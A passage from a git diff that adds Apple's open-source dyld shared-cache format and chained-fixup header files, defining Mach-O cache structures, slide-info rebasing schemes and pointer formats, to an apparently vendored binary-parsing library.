cacheType; // 0 for development, 1 for production, 2 for multi-cache + uint32_t branchPoolsOffset; // file offset to table of uint64_t pool addresses + uint32_t branchPoolsCount; // number of uint64_t entries + uint64_t dyldInCacheMH; // (unslid) address of mach_header of dyld in cache + uint64_t dyldInCacheEntry; // (unslid) address of entry point (_dyld_start) of dyld in cache + uint64_t imagesTextOffset; // file offset to first dyld_cache_image_text_info + uint64_t imagesTextCount; // number of dyld_cache_image_text_info entries + uint64_t patchInfoAddr; // (unslid) address of dyld_cache_patch_info + uint64_t patchInfoSize; // Size of all of the patch information pointed to via the dyld_cache_patch_info + uint64_t otherImageGroupAddrUnused; // unused + uint64_t otherImageGroupSizeUnused; // unused + uint64_t progClosuresAddr; // (unslid) address of list of program launch closures + uint64_t progClosuresSize; // size of list of program launch closures + uint64_t progClosuresTrieAddr; // (unslid) address of trie of indexes into program launch closures + uint64_t progClosuresTrieSize; // size of trie of indexes into program launch closures + uint32_t platform; // platform number (macOS=1, etc) + uint32_t formatVersion : 8, // dyld3::closure::kFormatVersion + dylibsExpectedOnDisk : 1, // dyld should expect the dylib exists on disk and to compare inode/mtime to see if cache is valid + simulator : 1, // for simulator of specified platform + locallyBuiltCache : 1, // 0 for B&I built cache, 1 for locally built cache + builtFromChainedFixups : 1, // some dylib in cache was built using chained fixups, so patch tables must be used for overrides + padding : 20; // TBD + uint64_t sharedRegionStart; // base load address of cache if not slid + uint64_t sharedRegionSize; // overall size required to map the cache and all subCaches, if any + uint64_t maxSlide; // runtime slide of cache can be between zero and this value + uint64_t dylibsImageArrayAddr; // (unslid) address of ImageArray for dylibs in this cache + uint64_t dylibsImageArraySize; // size of ImageArray for dylibs in this cache + uint64_t dylibsTrieAddr; // (unslid) address of trie of indexes of all cached dylibs + uint64_t dylibsTrieSize; // size of trie of cached dylib paths + uint64_t otherImageArrayAddr; // (unslid) address of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherImageArraySize; // size of ImageArray for dylibs and bundles with dlopen closures + uint64_t otherTrieAddr; // (unslid) address of trie of indexes of all dylibs and bundles with dlopen closures + uint64_t otherTrieSize; // size of trie of dylibs and bundles with dlopen closures + uint32_t mappingWithSlideOffset; // file offset to first dyld_cache_mapping_and_slide_info + uint32_t mappingWithSlideCount; // number of dyld_cache_mapping_and_slide_info entries + uint64_t dylibsPBLStateArrayAddrUnused; // unused + uint64_t dylibsPBLSetAddr; // (unslid) address of PrebuiltLoaderSet of all cached dylibs + uint64_t programsPBLSetPoolAddr; // (unslid) address of pool of PrebuiltLoaderSet for each program + uint64_t programsPBLSetPoolSize; // size of pool of PrebuiltLoaderSet for each program + uint64_t programTrieAddr; // (unslid) address of trie mapping program path to PrebuiltLoaderSet + uint32_t programTrieSize; + uint32_t osVersion; // OS Version of dylibs in this cache for the main platform + uint32_t altPlatform; // e.g. iOSMac on macOS + uint32_t altOsVersion; // e.g. 14.0 for iOSMac + uint64_t swiftOptsOffset; // VM offset from cache_header* to Swift optimizations header + uint64_t swiftOptsSize; // size of Swift optimizations header + uint32_t subCacheArrayOffset; // file offset to first dyld_subcache_entry + uint32_t subCacheArrayCount; // number of subCache entries + uint8_t symbolFileUUID[16]; // unique value for the shared cache file containing unmapped local symbols + uint64_t rosettaReadOnlyAddr; // (unslid) address of the start of where Rosetta can add read-only/executable data + uint64_t rosettaReadOnlySize; // maximum size of the Rosetta read-only/executable region + uint64_t rosettaReadWriteAddr; // (unslid) address of the start of where Rosetta can add read-write data + uint64_t rosettaReadWriteSize; // maximum size of the Rosetta read-write region + uint32_t imagesOffset; // file offset to first dyld_cache_image_info + uint32_t imagesCount; // number of dyld_cache_image_info entries + uint32_t cacheSubType; // 0 for development, 1 for production, when cacheType is multi-cache(2) + uint64_t objcOptsOffset; // VM offset from cache_header* to ObjC optimizations header + uint64_t objcOptsSize; // size of ObjC optimizations header + uint64_t cacheAtlasOffset; // VM offset from cache_header* to embedded cache atlas for process introspection + uint64_t cacheAtlasSize; // size of embedded cache atlas + uint64_t dynamicDataOffset; // VM offset from cache_header* to the location of dyld_cache_dynamic_data_header + uint64_t dynamicDataMaxSize; // maximum size of space reserved from dynamic data + uint32_t tproMappingsOffset; // file offset to first dyld_cache_tpro_mapping_info + uint32_t tproMappingsCount; // number of dyld_cache_tpro_mapping_info entries +}; + +// Uncomment this and check the build errors for the current mapping offset to check against when adding new fields. +// template class A { int x[-size]; }; A a; + + +struct dyld_cache_mapping_info { + uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint32_t maxProt; + uint32_t initProt; +}; + +// Contains the flags for the dyld_cache_mapping_and_slide_info flgs field +enum { + DYLD_CACHE_MAPPING_AUTH_DATA = 1 << 0U, + DYLD_CACHE_MAPPING_DIRTY_DATA = 1 << 1U, + DYLD_CACHE_MAPPING_CONST_DATA = 1 << 2U, + DYLD_CACHE_MAPPING_TEXT_STUBS = 1 << 3U, + DYLD_CACHE_DYNAMIC_CONFIG_DATA = 1 << 4U, + DYLD_CACHE_READ_ONLY_DATA = 1 << 5U, + DYLD_CACHE_MAPPING_CONST_TPRO_DATA = 1 << 6U, +}; + +struct dyld_cache_mapping_and_slide_info { + uint64_t address; + uint64_t size; + uint64_t fileOffset; + uint64_t slideInfoFileOffset; + uint64_t slideInfoFileSize; + uint64_t flags; + uint32_t maxProt; + uint32_t initProt; +}; + +struct dyld_cache_tpro_mapping_info { + uint64_t unslidAddress; + uint64_t size; +}; + +struct dyld_cache_image_info +{ + uint64_t address; + uint64_t modTime; + uint64_t inode; + uint32_t pathFileOffset; + uint32_t pad; +}; + +struct dyld_cache_image_info_extra +{ + uint64_t exportsTrieAddr; // address of trie in unslid cache + uint64_t weakBindingsAddr; + uint32_t exportsTrieSize; + uint32_t weakBindingsSize; + uint32_t dependentsStartArrayIndex; + uint32_t reExportsStartArrayIndex; +}; + + +struct dyld_cache_accelerator_info +{ + uint32_t version; // currently 1 + uint32_t imageExtrasCount; // does not include aliases + uint32_t imagesExtrasOffset; // offset into this chunk of first dyld_cache_image_info_extra + uint32_t bottomUpListOffset; // offset into this chunk to start of 16-bit array of sorted image indexes + uint32_t dylibTrieOffset; // offset into this chunk to start of trie containing all dylib paths + uint32_t dylibTrieSize; // size of trie containing all dylib paths + uint32_t initializersOffset; // offset into this chunk to start of initializers list + uint32_t initializersCount; // size of initializers list + uint32_t dofSectionsOffset; // offset into this chunk to start of DOF sections list + uint32_t dofSectionsCount; // size of initializers list + uint32_t reExportListOffset; // offset into this chunk to start of 16-bit array of re-exports + uint32_t reExportCount; // size of re-exports + uint32_t depListOffset; // offset into this chunk to start of 16-bit array of dependencies (0x8000 bit set if upward) + uint32_t depListCount; // size of dependencies + uint32_t rangeTableOffset; // offset into this chunk to start of ss + uint32_t rangeTableCount; // size of dependencies + uint64_t dyldSectionAddr; // address of libdyld's __dyld section in unslid cache +}; + +struct dyld_cache_accelerator_initializer +{ + uint32_t functionOffset; // address offset from start of cache mapping + uint32_t imageIndex; +}; + +struct dyld_cache_range_entry +{ + uint64_t startAddress; // unslid address of start of region + uint32_t size; + uint32_t imageIndex; +}; + +struct dyld_cache_accelerator_dof +{ + uint64_t sectionAddress; // unslid address of start of region + uint32_t sectionSize; + uint32_t imageIndex; +}; + +struct dyld_cache_image_text_info +{ + uint8_t uuid[16]; + uint64_t loadAddress; // unslid address of start of __TEXT + uint32_t textSegmentSize; + uint32_t pathOffset; // offset from start of cache file +}; + + +// The rebasing info is to allow the kernel to lazily rebase DATA pages of the +// dyld shared cache. Rebasing is adding the slide to interior pointers. +struct dyld_cache_slide_info +{ + uint32_t version; // currently 1 + uint32_t toc_offset; + uint32_t toc_count; + uint32_t entries_offset; + uint32_t entries_count; + uint32_t entries_size; // currently 128 + // uint16_t toc[toc_count]; + // entrybitmap entries[entries_count]; +}; + +struct dyld_cache_slide_info_entry { + uint8_t bits[4096/(8*4)]; // 128-byte bitmap +}; + + +// The version 2 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA +// Multiple linked lists are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new linked list in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & 0x3FFF) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE_PAGE_ATTR_END) of the pageExtras[] +// set. +// +// For 64-bit architectures, there is always enough free bits to encode all +// possible deltas. The info->delta_mask field shows where the delta is located +// in the pointer. That value must be masked off (valueMask) before the slide +// is added to the pointer. +// +// For 32-bit architectures, there are only three bits free (the three most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 28 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// out zero is common in the DATA region. A zero can be turned into a +// non-rebasing entry in the linked list. The can be done because nothing +// in the shared cache should point out of its dylib to the start of the shared +// cache. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uintptr_t rawValue = *((uintptr_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( newValue != 0 ) { +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uintptr_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info2 +{ + uint32_t version; // currently 2 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location + uint64_t value_add; + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE_PAGE_ATTRS 0xC000 // high bits of uint16_t are flags +#define DYLD_CACHE_SLIDE_PAGE_ATTR_EXTRA 0x8000 // index is into extras array (not starts array) +#define DYLD_CACHE_SLIDE_PAGE_ATTR_NO_REBASE 0x4000 // page has no rebasing +#define DYLD_CACHE_SLIDE_PAGE_ATTR_END 0x8000 // last chain entry for page + + + +// The version 3 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer3 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer3* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// if ( loc->auth.authenticated ) { +// newValue = loc->offsetFromSharedCacheBase + results->slide + auth_value_add; +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// uint64_t value51 = loc->pointerValue; +// uint64_t top8Bits = value51 & 0x0007F80000000000ULL; +// uint64_t bottom43Bits = value51 & 0x000007FFFFFFFFFFULL; +// uint64_t targetValue = ( top8Bits << 13 ) | bottom43Bits; +// newValue = targetValue + results->slide; +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info3 +{ + uint32_t version; // currently 3 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t auth_value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V3_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer3 +{ + uint64_t raw; + struct { + uint64_t pointerValue : 51, + offsetToNextPointer : 11, + unused : 2; + } plain; + + struct { + uint64_t offsetFromSharedCacheBase : 32, + diversityData : 16, + hasAddressDiversity : 1, + key : 2, + offsetToNextPointer : 11, + unused : 1, + authenticated : 1; // = 1; + } auth; +}; + + + +// The version 4 of the slide info is optimized for 32-bit caches up to 1GB. +// Since only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers takes 30 bits. That +// gives us two bits to use to chain to the next rebase. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// pageExtras[] = info + info->page_extras_offset +// valueMask = ~(info->delta_mask) +// deltaShift = __builtin_ctzll(info->delta_mask) - 2 +// +// There are three cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE4_PAGE_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA) == 0 +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex] * 4. +// +// 3) pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA +// Multiple chains are needed for all rebase locations in a page. +// The pagesExtras array contains 2 or more entries each of which is the +// start of a new chain in the page. The first is at: +// extrasStartIndex = (pageStarts[pageIndex] & DYLD_CACHE_SLIDE4_PAGE_INDEX) +// The next is at extrasStartIndex+1. The last is denoted by +// having the high bit (DYLD_CACHE_SLIDE4_PAGE_EXTRA_END) of the pageExtras[]. +// +// For 32-bit architectures, there are only two bits free (the two most +// significant bits). To extract the delta, you must first subtract value_add +// from the pointer value, then AND with delta_mask, then shift by deltaShift. +// That still leaves a maximum delta to the next rebase location of 12 bytes. +// To reduce the number or chains needed, an optimization was added. Turns +// most of the non-rebased data are small values and can be co-opt'ed into +// being used in the chain. The can be done because nothing +// in the shared cache should point to the first 64KB which are in the shared +// cache header information. So if the resulting pointer points to the +// start of the cache +/-32KB, then it is actually a small number that should +// not be rebased, but just reconstituted. +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = 1; +// while ( delta != 0 ) { +// uint8_t* loc = pageStart + pageOffset; +// uint32_t rawValue = *((uint32_t*)loc); +// delta = ((rawValue & deltaMask) >> deltaShift); +// uintptr_t newValue = (rawValue & valueMask); +// if ( (newValue & 0xFFFF8000) == 0 ) { +// // small positive non-pointer, use as-is +// } +// else if ( (newValue & 0x3FFF8000) == 0x3FFF8000 ) { +// // small negative non-pointer +// newValue |= 0xC0000000; +// } +// else { +// // pointer that needs rebasing +// newValue += valueAdd; +// newValue += slideAmount; +// } +// *((uint32_t*)loc) = newValue; +// pageOffset += delta; +// } +// +// +struct dyld_cache_slide_info4 +{ + uint32_t version; // currently 4 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_offset; + uint32_t page_starts_count; + uint32_t page_extras_offset; + uint32_t page_extras_count; + uint64_t delta_mask; // which (contiguous) set of bits contains the delta to the next rebase location (0xC0000000) + uint64_t value_add; // base address of cache + //uint16_t page_starts[page_starts_count]; + //uint16_t page_extras[page_extras_count]; +}; +#define DYLD_CACHE_SLIDE4_PAGE_NO_REBASE 0xFFFF // page has no rebasing +#define DYLD_CACHE_SLIDE4_PAGE_INDEX 0x7FFF // mask of page_starts[] values +#define DYLD_CACHE_SLIDE4_PAGE_USE_EXTRA 0x8000 // index is into extras array (not a chain start offset) +#define DYLD_CACHE_SLIDE4_PAGE_EXTRA_END 0x8000 // last chain entry for page + + +// The version 5 of the slide info uses a different compression scheme. Since +// only interior pointers (pointers that point within the cache) are rebased +// (slid), we know the possible range of the pointers and thus know there are +// unused bits in each pointer. We use those bits to form a linked list of +// locations needing rebasing in each page. +// +// Definitions: +// +// pageIndex = (pageAddress - startOfAllDataAddress)/info->page_size +// pageStarts[] = info + info->page_starts_offset +// +// There are two cases: +// +// 1) pageStarts[pageIndex] == DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE +// The page contains no values that need rebasing. +// +// 2) otherwise... +// All rebase locations are in one linked list. The offset of the first +// rebase location in the page is pageStarts[pageIndex]. +// +// A pointer is one of of the variants in dyld_cache_slide_pointer5 +// +// The code for processing a linked list (chain) is: +// +// uint32_t delta = pageStarts[pageIndex]; +// dyld_cache_slide_pointer5* loc = pageStart; +// do { +// loc += delta; +// delta = loc->offsetToNextPointer; +// newValue = loc->regular.target + value_add + results->slide; +// if ( loc->auth.authenticated ) { +// newValue = sign_using_the_various_bits(newValue); +// } +// else { +// newValue = newValue | (loc->regular.high8 < 56); +// } +// loc->raw = newValue; +// } while (delta != 0); +// +// +struct dyld_cache_slide_info5 +{ + uint32_t version; // currently 5 + uint32_t page_size; // currently 4096 (may also be 16384) + uint32_t page_starts_count; + uint64_t value_add; + uint16_t page_starts[/* page_starts_count */]; +}; + +#define DYLD_CACHE_SLIDE_V5_PAGE_ATTR_NO_REBASE 0xFFFF // page has no rebasing + +union dyld_cache_slide_pointer5 +{ + uint64_t raw; + struct dyld_chained_ptr_arm64e_shared_cache_rebase regular; + struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase auth; +}; + +struct dyld_cache_local_symbols_info +{ + uint32_t nlistOffset; // offset into this chunk of nlist entries + uint32_t nlistCount; // count of nlist entries + uint32_t stringsOffset; // offset into this chunk of string pool + uint32_t stringsSize; // byte count of string pool + uint32_t entriesOffset; // offset into this chunk of array of dyld_cache_local_symbols_entry + uint32_t entriesCount; // number of elements in dyld_cache_local_symbols_entry array +}; + +struct dyld_cache_local_symbols_entry +{ + uint32_t dylibOffset; // offset in cache file of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_cache_local_symbols_entry_64 +{ + uint64_t dylibOffset; // offset in cache buffer of start of dylib + uint32_t nlistStartIndex; // start index of locals for this dylib + uint32_t nlistCount; // number of local symbols for this dylib +}; + +struct dyld_subcache_entry_v1 +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address +}; + +struct dyld_subcache_entry +{ + uint8_t uuid[16]; // The UUID of the subCache file + uint64_t cacheVMOffset; // The offset of this subcache from the main cache base address + char fileSuffix[32]; // The file name suffix of the subCache file e.g. ".25.data", ".03.development" +}; + +// This struct is a small piece of dynamic data that can be included in the shared region, and contains configuration +// data about the shared cache in use by the process. It is located +struct dyld_cache_dynamic_data_header +{ + char magic[16]; // e.g. "dyld_data v0" + uint64_t fsId; // The fsid_t of the shared cache being used by a process + uint64_t fsObjId; // The fs_obj_id_t of the shared cache being used by a process +}; + +// This is the location of the macOS shared cache on macOS 11.0 and later +#define MACOSX_MRM_DYLD_SHARED_CACHE_DIR "/System/Library/dyld/" + +// This is old define for the old location of the dyld cache +#define MACOSX_DYLD_SHARED_CACHE_DIR MACOSX_MRM_DYLD_SHARED_CACHE_DIR + +#define IPHONE_DYLD_SHARED_CACHE_DIR "/System/Library/Caches/com.apple.dyld/" + +#define DRIVERKIT_DYLD_SHARED_CACHE_DIR "/System/DriverKit/System/Library/dyld/" + +#define EXCLAVEKIT_DYLD_SHARED_CACHE_DIR "/System/ExclaveKit/System/Library/dyld/" + +#define DYLD_SHARED_CACHE_DEVELOPMENT_EXT ".development" + +#define DYLD_SHARED_CACHE_DYNAMIC_DATA_MAGIC "dyld_data v0" + +static const char* cryptexPrefixes[] = { + "/System/Volumes/Preboot/Cryptexes/OS/", + "/private/preboot/Cryptexes/OS/", + "/System/Cryptexes/OS" +}; + +static const uint64_t kDyldSharedCacheTypeDevelopment = 0; +static const uint64_t kDyldSharedCacheTypeProduction = 1; +static const uint64_t kDyldSharedCacheTypeUniversal = 2; + + + + + +#endif // __DYLD_CACHE_FORMAT__ + + diff --git a/XPF/external/ChOma/src/fixup-chains.h b/XPF/external/ChOma/src/fixup-chains.h new file mode 100644 index 0000000..13e8389 --- /dev/null +++ b/XPF/external/ChOma/src/fixup-chains.h @@ -0,0 +1,306 @@ +/* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- + * + * Copyright (c) 2018 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ + +#ifndef __MACH_O_FIXUP_CHAINS__ +#define __MACH_O_FIXUP_CHAINS__ 6 + + +#include + + +//#define LC_DYLD_EXPORTS_TRIE 0x80000033 // used with linkedit_data_command +//#define LC_DYLD_CHAINED_FIXUPS 0x80000034 // used with linkedit_data_command, payload is dyld_chained_fixups_header + + +// header of the LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_fixups_header +{ + uint32_t fixups_version; // 0 + uint32_t starts_offset; // offset of dyld_chained_starts_in_image in chain_data + uint32_t imports_offset; // offset of imports table in chain_data + uint32_t symbols_offset; // offset of symbol strings in chain_data + uint32_t imports_count; // number of imported symbol names + uint32_t imports_format; // DYLD_CHAINED_IMPORT* + uint32_t symbols_format; // 0 => uncompressed, 1 => zlib compressed +}; + +// This struct is embedded in LC_DYLD_CHAINED_FIXUPS payload +struct dyld_chained_starts_in_image +{ + uint32_t seg_count; + uint32_t seg_info_offset[1]; // each entry is offset into this struct for that segment + // followed by pool of dyld_chain_starts_in_segment data +}; + +// This struct is embedded in dyld_chain_starts_in_image +// and passed down to the kernel for page-in linking +struct dyld_chained_starts_in_segment +{ + uint32_t size; // size of this (amount kernel needs to copy) + uint16_t page_size; // 0x1000 or 0x4000 + uint16_t pointer_format; // DYLD_CHAINED_PTR_* + uint64_t segment_offset; // offset in memory to start of segment + uint32_t max_valid_pointer; // for 32-bit OS, any value beyond this is not a pointer + uint16_t page_count; // how many pages are in array + uint16_t page_start[1]; // each entry is offset in each page of first element in chain + // or DYLD_CHAINED_PTR_START_NONE if no fixups on page + // uint16_t chain_starts[1]; // some 32-bit formats may require multiple starts per page. + // for those, if high bit is set in page_starts[], then it + // is index into chain_starts[] which is a list of starts + // the last of which has the high bit set +}; + +enum { + DYLD_CHAINED_PTR_START_NONE = 0xFFFF, // used in page_start[] to denote a page with no fixups + DYLD_CHAINED_PTR_START_MULTI = 0x8000, // used in page_start[] to denote a page which has multiple starts + DYLD_CHAINED_PTR_START_LAST = 0x8000, // used in chain_starts[] to denote last start in list for page +}; + +// This struct is embedded in __TEXT,__chain_starts section in firmware +struct dyld_chained_starts_offsets +{ + uint32_t pointer_format; // DYLD_CHAINED_PTR_32_FIRMWARE + uint32_t starts_count; // number of starts in array + uint32_t chain_starts[1]; // array chain start offsets +}; + + +// values for dyld_chained_starts_in_segment.pointer_format +enum { + DYLD_CHAINED_PTR_ARM64E = 1, // stride 8, unauth target is vmaddr + DYLD_CHAINED_PTR_64 = 2, // target is vmaddr + DYLD_CHAINED_PTR_32 = 3, + DYLD_CHAINED_PTR_32_CACHE = 4, + DYLD_CHAINED_PTR_32_FIRMWARE = 5, + DYLD_CHAINED_PTR_64_OFFSET = 6, // target is vm offset + DYLD_CHAINED_PTR_ARM64E_OFFSET = 7, // old name + DYLD_CHAINED_PTR_ARM64E_KERNEL = 7, // stride 4, unauth target is vm offset + DYLD_CHAINED_PTR_64_KERNEL_CACHE = 8, + DYLD_CHAINED_PTR_ARM64E_USERLAND = 9, // stride 8, unauth target is vm offset + DYLD_CHAINED_PTR_ARM64E_FIRMWARE = 10, // stride 4, unauth target is vmaddr + DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE = 11, // stride 1, x86_64 kernel caches + DYLD_CHAINED_PTR_ARM64E_USERLAND24 = 12, // stride 8, unauth target is vm offset, 24-bit bind + DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE = 13, // stride 8, regular/auth targets both vm offsets. Only A keys supported +}; + + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_rebase +{ + uint64_t target : 43, + high8 : 8, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_bind +{ + uint64_t ordinal : 16, + zero : 16, + addend : 19, // +/-256K + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_rebase +{ + uint64_t target : 32, // runtimeOffset + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 0 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_ARM64E +struct dyld_chained_ptr_arm64e_auth_bind +{ + uint64_t ordinal : 16, + zero : 16, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 4 or 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64/DYLD_CHAINED_PTR_64_OFFSET +struct dyld_chained_ptr_64_rebase +{ + uint64_t target : 36, // 64GB max image size (DYLD_CHAINED_PTR_64 => vmAddr, DYLD_CHAINED_PTR_64_OFFSET => runtimeOffset) + high8 : 8, // top 8 bits set to this (DYLD_CHAINED_PTR_64 => after slide added, DYLD_CHAINED_PTR_64_OFFSET => before slide added) + reserved : 7, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 0 +}; + + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + addend : 19, // +/-256K + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_USERLAND24 +struct dyld_chained_ptr_arm64e_auth_bind24 +{ + uint64_t ordinal : 24, + zero : 8, + diversity : 16, + addrDiv : 1, + key : 2, + next : 11, // 8-byte stide + bind : 1, // == 1 + auth : 1; // == 1 +}; + + +// DYLD_CHAINED_PTR_64 +struct dyld_chained_ptr_64_bind +{ + uint64_t ordinal : 24, + addend : 8, // 0 thru 255 + reserved : 19, // all zeros + next : 12, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_64_KERNEL_CACHE, DYLD_CHAINED_PTR_X86_64_KERNEL_CACHE +struct dyld_chained_ptr_64_kernel_cache_rebase +{ + uint64_t target : 30, // basePointers[cacheLevel] + target + cacheLevel : 2, // what level of cache to bind to (indexes a mach_header array) + diversity : 16, + addrDiv : 1, + key : 2, + next : 12, // 1 or 4-byte stide + isAuth : 1; // 0 -> not authenticated. 1 -> authenticated +}; + +// DYLD_CHAINED_PTR_32 +// Note: for DYLD_CHAINED_PTR_32 some non-pointer values are co-opted into the chain +// as out of range rebases. If an entry in the chain is > max_valid_pointer, then it +// is not a pointer. To restore the value, subtract off the bias, which is +// (64MB+max_valid_pointer)/2. +struct dyld_chained_ptr_32_rebase +{ + uint32_t target : 26, // vmaddr, 64MB max image size + next : 5, // 4-byte stride + bind : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_32 +struct dyld_chained_ptr_32_bind +{ + uint32_t ordinal : 20, + addend : 6, // 0 thru 63 + next : 5, // 4-byte stride + bind : 1; // == 1 +}; + +// DYLD_CHAINED_PTR_32_CACHE +struct dyld_chained_ptr_32_cache_rebase +{ + uint32_t target : 30, // 1GB max dyld cache TEXT and DATA + next : 2; // 4-byte stride +}; + + +// DYLD_CHAINED_PTR_32_FIRMWARE +struct dyld_chained_ptr_32_firmware_rebase +{ + uint32_t target : 26, // 64MB max firmware TEXT and DATA + next : 6; // 4-byte stride +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + high8 : 8, + unused : 10, + next : 11, // 8-byte stide + auth : 1; // == 0 +}; + +// DYLD_CHAINED_PTR_ARM64E_SHARED_CACHE +struct dyld_chained_ptr_arm64e_shared_cache_auth_rebase +{ + uint64_t runtimeOffset : 34, // offset from the start of the shared cache + diversity : 16, + addrDiv : 1, + keyIsData : 1, // implicitly always the 'A' key. 0 -> IA. 1 -> DA + next : 11, // 8-byte stide + auth : 1; // == 1 +}; + + + +// values for dyld_chained_fixups_header.imports_format +enum { + DYLD_CHAINED_IMPORT = 1, + DYLD_CHAINED_IMPORT_ADDEND = 2, + 